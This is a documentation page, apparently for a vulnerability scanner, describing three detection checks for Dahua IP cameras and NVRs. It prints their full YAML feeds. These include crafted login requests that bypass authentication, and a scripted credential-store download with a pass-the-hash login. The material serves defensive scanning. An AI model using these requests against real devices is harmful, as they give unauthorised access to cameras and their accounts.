Dahua — 3 vulnerability checks
noctis ships 3 vulnerability checks for Dahua, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Dahua IP cameras / NVRs NetKeyboard login authentication bypass
| CVE | CVE-2021-33044 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dahua/CVE-2021-33044.yaml |
Posts a global.login request to /RPC2_Login with the NetKeyboard client type and no valid password, and reports when the device answers result true with a session ID.
How noctis detects it
- HTTP(S) request
POST /RPC2_Loginwith a crafted body - Checks
resp.bodyfor"result"\s*:\s*true,\s*"session"\s*:\s*[0-9a-zA-Z]+→ finding QoD 75: Dahua auth bypass returned a session without valid creds: …
References:
Feed source — tests/vulnerabilities/dahua/CVE-2021-33044.yaml
uid: 0e5bc1f3-145f-498f-aa8e-891f8db6c555
name: "CVE-2021-33044 — Dahua IP cameras / NVRs NetKeyboard login authentication bypass (CVSS 9.8)"
description: "Posts a global.login request to /RPC2_Login with the NetKeyboard client type and no valid password, and reports when the device answers result true with a session ID."
cves: [CVE-2021-33044]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.3
tags: [dahua, camera, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-33044"
- "OpenVAS NASL 2021/dahua/gb_dahua_DHCC-SA-202106-001_active.nasl (GPL-2.0-only)"
# Ported from OpenVAS NASL 2021/dahua/gb_dahua_DHCC-SA-202106-001_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# Crafted global.login bypasses auth and returns a session id.
steps:
- id: probe
action: http_request
method: POST
path: "/RPC2_Login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
X-Requested-With: "XMLHttpRequest"
body: '{"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0}'
store_as: resp
- id: detect
action: match
source: resp.body
pattern: "\"result\"\\s*:\\s*true,\\s*\"session\"\\s*:\\s*[0-9a-zA-Z]+"
condition: "resp.status == 200"
on_match:
finding:
confidence_delta: 0.5
qod: 75
evidence: "Dahua auth bypass returned a session without valid creds: {{resp.body}}"
stop: trueDahua IPC/VTH/VTO Loopback login authentication bypass
| CVE | CVE-2021-33045 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/dahua/CVE-2021-33045.yaml |
Posts a global.login request to /RPC2_Login with the Loopback login type from 127.0.0.1 and no valid password, and reports when the device answers result true with a session ID.
How noctis detects it
- HTTP(S) request
POST /RPC2_Loginwith a crafted body - Checks
resp.bodyfor"result"\s*:\s*true.*"session"\s*:\s*[0-9a-zA-Z]+→ finding QoD 75: Dahua Loopback auth bypass returned an authenticated session without valid credentials: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-33045
- https://github.com/bp2008/DahuaLoginBypass
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33045.yaml
Feed source — tests/vulnerabilities/dahua/CVE-2021-33045.yaml
uid: 55c0e30e-7afe-43e6-a709-2d4ce35d7b06
name: "CVE-2021-33045 — Dahua IPC/VTH/VTO Loopback login authentication bypass (CVSS 9.8)"
description: "Posts a global.login request to /RPC2_Login with the Loopback login type from 127.0.0.1 and no valid password, and reports when the device answers result true with a session ID."
cves: [CVE-2021-33045]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [dahua, camera, ipc, vth, vto, auth-bypass, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-33045"
- "https://github.com/bp2008/DahuaLoginBypass"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-33045.yaml"
# Dahua IPC/VTH/VTO identity authentication bypass (CISA KEV, DHCC-SA-202106-001).
# A crafted global.login using the "Loopback" loginType with ipAddr 127.0.0.1 is accepted
# without valid credentials and returns an authenticated session id. Detection sends the
# benign unauthenticated login and checks whether the genuine authenticated-session response
# (result:true + session id) is returned (vulnerable) vs an auth error (patched). Benign probe
# only — no exploitation of the resulting session.
steps:
- id: probe
action: http_request
method: POST
path: "/RPC2_Login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/json"
X-Requested-With: "XMLHttpRequest"
body: '{"id": 1, "method": "global.login", "params": {"userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Plain", "password": "Not Used"}, "session": 0}'
store_as: resp
- id: detect
action: match
source: resp.body
pattern: "\"result\"\\s*:\\s*true.*\"session\"\\s*:\\s*[0-9a-zA-Z]+"
condition: "resp.status == 200"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Dahua Loopback auth bypass returned an authenticated session without valid credentials: {{resp.body}}"
stop: trueDahua IPC/NVR/HCVR — unauthenticated credential-store download + pass-the-hash login
| CVE | CVE-2017-7925, CVE-2017-7927 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dahua/dahua-config-disclosure-pass-the-hash.yaml |
Dahua devices serve their account database (/current_config/Account1 on 3rd-generation firmware, /current_config/passwd on 2nd-generation) without authentication, and accept the stored password hash in place of the password on /RPC2_Login. The feed downloads the file, extracts one account name and hash, logs in with that hash (challenge-response on GEN3, OldDigest on GEN2), confirms the authenticated session and logs it out again.
How noctis detects it
- HTTP(S) request
GET /current_config/Account1 - HTTP(S) request
GET /current_config/passwd - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /RPC2_Loginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /RPC2_Loginwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /RPC2_Loginwith a crafted body - Checks
verdict.summaryfor^PTH_LOGIN_OK→ finding QoD 97: Read the account database from … without authentication (…) and logged in to /RPC2_Login as `…` by passing the stored hash instead of the p… - Parses / computes the next value with a Rhai script
- Checks
discfor^CRED_STORE_EXPOSED→ finding QoD 75: … (…) is served without authentication and contains the account database with password hashes (account `…` found; hash withheld). The pass-…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-7925
- https://nvd.nist.gov/vuln/detail/CVE-2017-7927
- https://www.cisa.gov/news-events/ics-advisories/icsa-17-124-02
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7925.yaml
Feed source — tests/vulnerabilities/dahua/dahua-config-disclosure-pass-the-hash.yaml
uid: 1a9e3014-2800-4648-8347-69d2c28d6aeb
name: "Dahua IPC/NVR/HCVR — unauthenticated credential-store download + pass-the-hash login (CVE-2017-7925, CVE-2017-7927)"
description: >-
Dahua devices serve their account database (/current_config/Account1 on 3rd-generation
firmware, /current_config/passwd on 2nd-generation) without authentication, and accept the
stored password hash in place of the password on /RPC2_Login. The feed downloads the file,
extracts one account name and hash, logs in with that hash (challenge-response on GEN3,
OldDigest on GEN2), confirms the authenticated session and logs it out again.
cves: [CVE-2017-7925, CVE-2017-7927]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.3
tags: [openvas-migrated, dahua, camera, nvr, auth-bypass, config-disclosure, pass-the-hash, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-7925"
- "https://nvd.nist.gov/vuln/detail/CVE-2017-7927"
- "https://www.cisa.gov/news-events/ics-advisories/icsa-17-124-02"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7925.yaml"
- "OpenVAS NASL 2017/gb_dahua_auth_bypass_03_17.nasl (GPL-2.0-only)"
# Ported from OpenVAS/Greenbone NASL 2017/gb_dahua_auth_bypass_03_17.nasl (GPL-2.0-only).
#
# Flow (same requests as the NASL):
# 1. GET /current_config/Account1 (GEN3, marker `"DevInformation" : {`) and
# GET /current_config/passwd (GEN2, marker `id:name:passwd:groupid:`).
# 2. Pick one account + stored hash from the file (prefers `admin`).
# 3. POST /RPC2_Login global.login with an empty password -> session (+ `random` on GEN3).
# 4. POST /RPC2_Login again with the hash: GEN3 password = MD5(user:random:hash) uppercased,
# authorityType Default; GEN2 password = the hash itself, authorityType OldDigest.
# Success = HTTP 200 + `"result" : true` without "Component error".
# 5. global.logout the session.
#
# Benign: read-only download, one login, immediate logout. The hash never leaves the scanner:
# no finding field quotes the file or the hash, only the account name.
#
# Better than the NASL / Nuclei:
# - Nuclei only matches the GEN2 file; the NASL only reports when the login works. This
# feed proves the login (QoD 97, both CVEs) and still reports the unauthenticated
# credential-store download alone (QoD 75, CVE-2017-7925 only) when the device rejects the
# hash login — the NASL stays silent there although the hashes are exposed.
# - GEN3 parsing does not require "Password" on the line right after "Name" (the NASL
# does), and a string `session` value is accepted as well as a numeric one.
# - CVE-2017-6341/6342/6343/6432/7253 (listed by the NASL) are other Dahua bugs (cleartext
# traffic, SmartPSS auto-login, port 37777 MITM, low-priv user listing) that this probe does
# not exercise, so they are not claimed.
steps:
- id: seed_acc3
action: set_var
var_name: acc3
var_value: {status: 0, body: ""}
- id: seed_acc2
action: set_var
var_name: acc2
var_value: {status: 0, body: ""}
- id: seed_l1
action: set_var
var_name: l1
var_value: {status: 0, body: ""}
- id: seed_l2
action: set_var
var_name: l2
var_value: {status: 0, body: ""}
- id: seed_cred
action: set_var
var_name: cred
var_value: {found: false}
- id: seed_ch
action: set_var
var_name: ch
var_value: {ok: false}
- id: seed_verdict
action: set_var
var_name: verdict
var_value: {ok: false, summary: ""}
# 1. Unauthenticated download of the account database (both generations).
- id: get_account1
action: http_request
method: GET
path: "/current_config/Account1"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: acc3
- id: get_passwd
action: http_request
method: GET
path: "/current_config/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: acc2
# 2. Extract one account + its stored hash. Returns a map; the hash stays in `cred.hash`
# and is only ever sent back to the device, never put in a finding.
- id: parse_accounts
action: script
store_as: cred
code: |
let out = #{ found: false, gen: "", src: "", user: "", juser: "", hash: "" };
let b3 = if type_of(acc3.body) == "string" { acc3.body } else { "" };
let b2 = if type_of(acc2.body) == "string" { acc2.body } else { "" };
if acc3.status == 200 && ereg("\"DevInformation\"\\s*:\\s*\\{", b3) {
let sec = eregmatch("(?s)\"Users\"\\s*:\\s*\\[(.*)", b3);
if sec.len() == 2 {
for obj in split(sec[1], "}") {
let m = eregmatch("(?s)\"Name\"\\s*:\\s*\"([^\"]+)\"[^{]*?\"Password\"\\s*:\\s*\"([^\"]+)\"", obj);
if m.len() == 3 && (!out.found || m[1] == "admin") {
out.found = true; out.gen = "GEN3"; out.src = "/current_config/Account1";
out.user = m[1]; out.hash = m[2];
}
}
}
}
if !out.found && acc2.status == 200 && ereg("id:name:passwd:groupid:", b2) {
for line in split(b2, "\n") {
let l = chomp(line);
if strlen(l) < 4 || ereg("^#", l) { continue; }
let f = split(l, ":");
if f.len() >= 6 && ereg("^[0-9]+$", f[0]) && f[1] != "" && f[2] != "" && (!out.found || f[1] == "admin") {
out.found = true; out.gen = "GEN2"; out.src = "/current_config/passwd";
out.user = f[1]; out.hash = f[2];
}
}
}
// JSON-escaped account name for the login bodies (a `"` or `\` would break them).
out.juser = str_replace(str_replace(out.user, "\\", "\\\\"), "\"", "\\\"");
out
# 3. First global.login (empty password) -> session id (+ challenge `random` on GEN3).
- id: login_challenge
action: http_request
method: POST
path: "/RPC2_Login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "cred.found"
headers:
X-Request: "JSON"
X-Requested-With: "XMLHttpRequest"
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
body: '{"params": {"userName": "{{cred.juser}}", "password": "", "clientType": "Web3.0"}, "method": "global.login", "id": 17331}'
store_as: l1
# 4. Build the pass-the-hash login from the challenge.
- id: build_login
action: script
store_as: ch
condition: "cred.found"
code: |
let out = #{ ok: false, session: "", body: "", logout: "" };
let b = if type_of(l1.body) == "string" { l1.body } else { "" };
let s = eregmatch("\"session\"\\s*:\\s*(\"[^\"]+\"|[0-9]+)", b);
if s.len() == 2 {
let sj = s[1];
let sraw = str_replace(sj, "\"", "");
let pw = "";
let auth = "";
if cred.gen == "GEN3" {
let r = eregmatch("\"random\"\\s*:\\s*\"([^\"]+)\"", b);
if r.len() == 2 {
pw = toupper(md5(cred.user + ":" + r[1] + ":" + cred.hash));
auth = "Default";
}
} else {
pw = cred.hash;
auth = "OldDigest";
}
if pw != "" {
out.ok = true;
out.session = sraw;
out.body = "{\"session\": " + sj + ", \"params\": {\"userName\": \"" + cred.juser + "\", \"authorityType\": \"" + auth + "\", \"password\": \"" + pw + "\", \"clientType\": \"Web3.0\"}, \"method\": \"global.login\", \"id\": 17331}";
out.logout = "{\"session\": " + sj + ", \"params\": \"null\", \"method\": \"global.logout\", \"id\": 17332}";
}
}
out
- id: login_hash
action: http_request
method: POST
path: "/RPC2_Login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "ch.ok"
headers:
X-Request: "JSON"
X-Requested-With: "XMLHttpRequest"
Dhwebclientsessionid: "{{ch.session}}"
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
body: "{{ch.body}}"
store_as: l2
# Success test of the NASL: HTTP 200 + "result" : true + no "Component error".
# The summary is built here so the finding quotes only the account name.
- id: judge
action: script
store_as: verdict
condition: "ch.ok"
code: |
let b = if type_of(l2.body) == "string" { l2.body } else { "" };
let ok = l2.status == 200 && ereg("\"result\"\\s*:\\s*true", b) && !ereg("Component error", b);
#{ ok: ok, summary: if ok { "PTH_LOGIN_OK " + cred.gen + " user=" + cred.user + " src=" + cred.src } else { "" } }
# 5. Close the session we opened.
- id: logout
action: http_request
method: POST
path: "/RPC2_Login"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "verdict.ok"
headers:
X-Request: "JSON"
X-Requested-With: "XMLHttpRequest"
Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
body: "{{ch.logout}}"
store_as: lo
- id: report_login
action: match
source: verdict.summary
pattern: "^PTH_LOGIN_OK "
condition: "verdict.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Read the account database from {{cred.src}} without authentication ({{cred.gen}}) and logged in to /RPC2_Login as `{{cred.user}}` by passing the stored hash instead of the password (global.login result:true, session {{ch.session}}); the session was logged out. Hash withheld."
stop: true
# Fallback: the credential store is downloadable but the hash login was not accepted.
# Still a real unauthenticated disclosure of account hashes (CVE-2017-7925 only).
- id: report_disclosure
action: script
store_as: disc
condition: "cred.found"
code: |
"CRED_STORE_EXPOSED " + cred.gen + " user=" + cred.user + " src=" + cred.src
- id: report_disclosure_match
action: match
source: disc
pattern: "^CRED_STORE_EXPOSED "
condition: "cred.found"
on_match:
finding:
cves: [CVE-2017-7925]
confidence_delta: 0.45
qod: 75
evidence: "{{cred.src}} ({{cred.gen}}) is served without authentication and contains the account database with password hashes (account `{{cred.user}}` found; hash withheld). The pass-the-hash login was not accepted."
stop: true